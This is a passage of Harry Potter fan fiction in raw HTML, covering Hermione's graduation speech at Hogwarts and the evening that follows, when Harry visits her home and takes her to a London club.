was useless. She was in panic\nmode. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked out at the crowd. She\ncould see her mum and dad sitting near the middle of the Great Hall. They were\nsitting with the Weasley family. Hermione&#8217;s dad caught her gaze and gave his\ndaughter a thumbs up sign. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dad, if you only knew,&#8221; she\nthought miserably. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked away from her\nparents and looked toward the Gryfinndor graduates. She saw Lavender, Parvati\nand Dean and Seamus and Neville. Just to the left of Neville sat Ron and Harry.\nThey, too, caught her gaze and gave her reassuring smiles. Professor McGonagall\nnudged her. &#8220;It&#8217;s time, Miss Granger.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave a weak smile. Her\nlegs felt like jelly. To her surprise, she managed to walk up to the podium\nwithout tripping or falling. The Great Hall was as quiet as she&#8217;d ever seen it.\nThey were all waiting for her to speak. She took a deep breath. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good evening, ladies and\ngentlemen, distinguished guests, friends and family,&#8221; she began. &#8220;I, um,--&#8220;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked out at the crowd with\na look of desperation. Out of the sea of faces, Hermione saw Harry smiling at\nher. And almost like magic, the words came to her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I came up here\ntonight, totally unprepared. I had no idea what I was going to say. Some of my\nclassmates might find that a little hard to believe. Hermione Granger without a\nthing to say. Standing up here, tonight, I am reminded of a night seven years\nago when all of us rode to this very castle on boats. We had no idea what was\nin store for us when we arrived. We had no clue to the many wonderful, amazing\nthings that awaited us. The only thing we did know was that it was going to be\nan adventure. And what an adventure it was. &#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Seven years ago,\nI came here with one goal. I wanted to be the best. I wanted to be the top of\nmy class. I wanted to have the best grades. I wanted to be a prefect and to be\nHead Girl. I accomplished those things, and don&#8217;t get me wrong. They are\nimportant. I am very proud of them. Seven years ago, I didn&#8217;t think there was\nanything more important than being the best. I was wrong. There are more\nimportant things. That was the hardest lesson, but the one that has taught me\nthe most.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At Hogwarts, I\nmet two of the best people I&#8217;ll ever hope to know. They showed me that there\nare more important things in this world than books and cleverness, like\nfriendship and bravery. Hogwarts School of Witchcraft &amp; Wizardry will\nalways hold a special place in my heart for many reasons. It was here that I\nlearned how to make potions and cast spells. It was here that I learned transfiguration\nand about arithmancy. It was here that I learned how to defend myself against\nthe Dark Arts. It was here that I learned to apparate. And it was hear that I\nlearned that without friends these things have no meaning. Friendship is the\ntrue magic. Thank you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She took a deep\nbreath and looked out at the crowd. There were tears in her eyes as she watched\nthe crowd stand and applaud heartily for her and for her speech. She smiled\nbroadly. Professor Dumbledore came up behind her and put an arm around her. </p>\n\n<p class="MsoNormal">&#8220;Well done,\nHermione,&#8221; he said, his eyes twinkling. &#8220;Well done, indeed.&#8221; </p>\n\n\n\n<p class="MsoNormal" style="border:none;\npadding:0in;">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When the ceremony ended, Harry\nand Ron exchanged hugs and high fives with their fellow Gryffindors. Mrs.\nWeasley came up blubbering and enveloped the two of them in a massive bear hug.\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mum,&#8221; Ron wheezed. &#8220;We can&#8217;t\nbreathe.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry, Ron,&#8221; she said,\nletting go of both him and Harry. &#8220;I&#8217;m just so proud of you. Of all of you.\nWhere&#8217;s Hermione? That speech&#8230;I can&#8217;t even talk about it without bawling.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked around. &#8220;I don&#8217;t\nsee her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s probably with her\nparents,&#8221; Ron said, also scanning the crowd for her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Mrs. Weasley said. &#8220;We\nhave a surprise for you. Your graduation present.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221; Ron said. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, your father has made\narrangements for you to visit Romania to see Charlie. He hated that he couldn&#8217;t\nmake the ceremony, but he wanted you to come and visit. You leave first thing\ntomorrow. For a week,&#8221; Mrs. Weasley said with a smile. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wicked!&#8221; Ron exclaimed, hugging\nhis mother. &#8220;Mum, this is fantastic.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s great, Ron,&#8221; Harry said.\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So have you all got big plans\nfor tonight?&#8221; Mrs. Weasley said. &#8220;Don&#8217;t tell me. It&#8217;s probably best that I\ndon&#8217;t know. I&#8217;m going to go rescue your father&#8230;.he was cornered by Neville\nLongbottom&#8217;s grandmother.&#8221; She walked away after giving both boys another hug. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what do we have planned for\ntonight?&#8221; Harry asked. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Seamus said that we were going\nto go into London,&#8221; Ron said. &#8220;See how the other half lives.&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh that should go down\nreally well,&#8221; Harry said, sarcastically. &#8220;Ron, you can&#8217;t even use a telephone\nproperly. And you are going to go into the Muggle World?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just for a night. Besides, what\ncan go wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Famous last words,&#8221; Harry said.\n&#8220;I got a room at The Leaky Cauldron for the next few days.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not going back to the\nDursleys?&#8221; Ron asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh yeah,&#8221; Harry said. &#8220;That&#8217;s\njust what I want to do. Live with them the rest of my life. I&#8217;ve had enough of\nthem to last a lifetime.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So are you going to go with us\nto London?&#8221; Ron asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Before Harry could answer,\nHermione came up behind them. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi, guys,&#8221; she said. &#8220;Can you\nbelieve it? We made it!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t believe you tried to\ntell us you didn&#8217;t have a speech,&#8221; Harry said. &#8220;That was brilliant, Hermione.\nSimply brilliant.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, you big faker,&#8221; Ron said,\ngiving her a hug. &#8220;You were great!&#8221; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I think I saw Ron&#8217;s eyes\nwell up with tears,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They were not!&#8221; Ron protested.\n&#8220;I had something in my eye.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, it&#8217;s called tears,&#8221; Harry\nsaid, punching him on the shoulder. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What am I going to do with you\ntwo?&#8221; Hermione said. She had begun to cry again. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, good Lord,&#8221; Ron said. &#8220;You\nare as bad as Mum.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, Ron,&#8221; Seamus Finnegan\ncalled over to him. &#8220;Come over here for a second.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Ron said. &#8220;Be right\nback, guys.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled at Hermione as they\nboth watched Ron walk away. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You really were great,&#8221; Harry\nsaid. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks to you,&#8221; she said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What did I do?&#8221; he asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You said to speak from my heart\nand that&#8217;s what I did. Well, it wasn&#8217;t that simple, actually. I was so nervous\nwhen I walked up to that podium. I looked out at the crowd and I saw your face\nand it was like the words just came to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well,&#8221; Harry said, trying to\nlook arrogant. &#8220;I have that effect on girls, you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You prat,&#8221; she said, giggling.\n&#8220;So what are we doing tonight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron said the guys want to go\ninto Muggle London.&#8221;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you going to go?&#8221; Hermione\nasked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I had thought about it,&#8221; Harry\nsaid. &#8220;Probably the last time we&#8217;ll all be able to be together like that for\nawhile.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said. &#8220;You\nshould go. You&#8217;ll have a good time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not going?&#8221; Harry said. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Oh,\nI&#8217;m sure that they&#8217;d want me there. Anyway, sounds like a boy&#8217;s night out,\nanyway,&#8221; she said. &#8220;Besides, my mum and dad wanted to take me out to eat. &#8220;<br>\n&#8221;Are you sure?&#8221; Harry asked, concerned. &#8220;Hermione, I&#8217;m sure the guys won&#8217;t mind\nif you go. Besides, you&#8217;ll have Ron and I. And you know that Seamus, Dean, and\nNeville like you.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;I&#8217;m\npositive. You go and have fun. Besides, someone needs to keep an eye on Ron.\nUnleashing him on Muggle London could be dangerous,&#8221; she said. &#8220;You guys go\nhave a good time and tell me all about it.&#8221; </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;If\nyou&#8217;re sure,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m positive,&#8221; she said. &#8220;Now\ngive me a hug and get your arse out there and have a good time.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *******************</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and her parents enjoyed\na quiet dinner at one of Hermione&#8217;s favorite restaurants near their home.\nHermione ate a wonderful Italian dinner before they headed back home. They had\nall just settled down in the family&#8217;s living room when they heard a knock on\nthe door. Hermione&#8217;s dad got up from his easy chair to answer the door. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Within a few seconds, he came\nback. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; he said, smiling.\n&#8220;Sweetheart, you have a visitor.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;I\ndo?&#8221; Hermione said, looking up from her book. &#8220;Who is it?&#8221;<br>\n&#8221;Don&#8217;t know,&#8221; Dr. Granger said, winking at his wife. &#8220;He didn&#8217;t say.&#8221; </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Daddy,&#8221;\nHermione said. &#8220;Alright, let&#8217;s go see who this is.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:.5in">She\ncouldn&#8217;t imagine who would be calling on her this late. It was 11 o&#8217;clock at\nnight. She walked into the foyer and was surprised to see Harry standing just\noutside the door. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Harry!&#8221;\nshe said. &#8220;I&#8212;I thought you were with Ron and the other guys.&#8221; </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;I\nwas,&#8221; he said. &#8220;But the whole night I felt like something was missing. If your\nparents don&#8217;t mind, I was hoping to take you out for a walk or something.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Are\nyou sure?&#8221; Hermione asked. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Positive.\nNow get your coat, let&#8217;s go,&#8221; Harry said. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">She\nsmiled broadly. &#8220;Oh, Harry,&#8221; she said. </p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Just\ndon&#8217;t start crying on me again,&#8221; he said, smiling. &#8220;I can&#8217;t take it.&#8221;</p>\n\n<p class="MsoNormal" style="margin-left:.5in">&#8220;Okay,&#8221;\nshe said. &#8220;Deal. Let me just go tell my parents. Be right back.&#8221;</p>\n\n\n\n<p class="MsoNormal" style="margin-left:.5in;border:none;padding:0in;">&#8220;I&#8217;ll be right here,&#8221; he said. </p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So where do you want to go?&#8221;\nHarry asked her. &#8220;It&#8217;s your night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, it&#8217;s your night too,&#8221;\nHermione said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What ever makes you happy is\nwhat I want to do,&#8221; he said. &#8220;You deserve to have a good night. It&#8217;s time for\nyou to have some fun, Miss Granger.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she said, thinking. &#8220;A\ncouple of girls from my neighborhood are always talking about this club just a\nfew streets over, Maxwell&#8217;s. Would you want to go there? I&#8217;ve never been, but\nI&#8217;ve heard some great things about it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Max&#8217;s it is, then,&#8221; Harry said.\n&#8220;Let&#8217;s go.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To Hermione&#8217;s surprise, Harry\ntook her hand and held it. Something was happening here. She didn&#8217;t know what\nit was, but she knew one thing&#8230;she liked it. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They arrived at the club almost\ntwenty minutes later. It was a nice place. It wasn&#8217;t too crowded and a deejay\nwas playing music. A number of couples were dancing on the dance floor. Others\nwere hanging out at the bar drinking and having a good time. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you want anything to drink?&#8221;\nHarry asked her as they sat down at one of the tables. &#8220;I don&#8217;t think they know\nwhat Butterbeer is, here, however.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Diet coke,&#8221; she said. &#8220;Do you\nhave any Muggle money?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;Summer job\nlast year. Saved some up. You want anything else?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, diet coke&#8217;s fine,&#8221; she\nsaid, smiling. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; he said. &#8220;Be right back.\nDon&#8217;t you go taking off with some guy while I&#8217;m gone.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t worry,&#8221; she said,\nlaughing. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She watched him leave to get\ntheir drinks. She couldn&#8217;t believe all of this. Her heart had swelled at the\nsight of Harry on her doorstep. That was the sweetest thing anyone had ever\ndone for her. She knew he could have been out with the guys having a large\ntime, but he was here. He was here with her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He came back seconds later with\ntheir drinks. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here you go,&#8221; Harry said\nsitting down. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; she said. They sat\nthere for a few minutes just listening to the music and enjoying the\natmosphere. Hermione looked wistfully at the couples dancing. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you want to dance?&#8221; she\nfinally asked him. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; he said, spitting out\nhis drink. &#8220;Dance?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; she said. &#8220;Dance.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t,&#8221; he said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Everyone can dance,&#8221; Hermione\nsaid, rolling her eyes. &#8220;You danced at the Yule Ball.&#8221;</p>\n\n<p 